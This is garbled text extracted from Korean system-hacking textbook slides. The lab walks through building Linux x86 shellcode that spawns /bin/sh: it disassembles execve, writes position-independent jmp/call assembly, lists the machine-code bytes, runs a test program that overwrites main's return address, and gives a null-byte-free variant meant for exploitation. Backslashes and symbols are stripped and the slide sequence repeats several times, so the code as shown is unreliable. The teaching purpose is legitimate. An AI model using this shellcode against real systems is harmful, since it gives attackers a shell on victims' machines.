popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 78: 80×86  시스템에 대한 이해

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 79: 80×86  시스템에 대한 이해

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 80: 80×86  시스템에 대한 이해

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

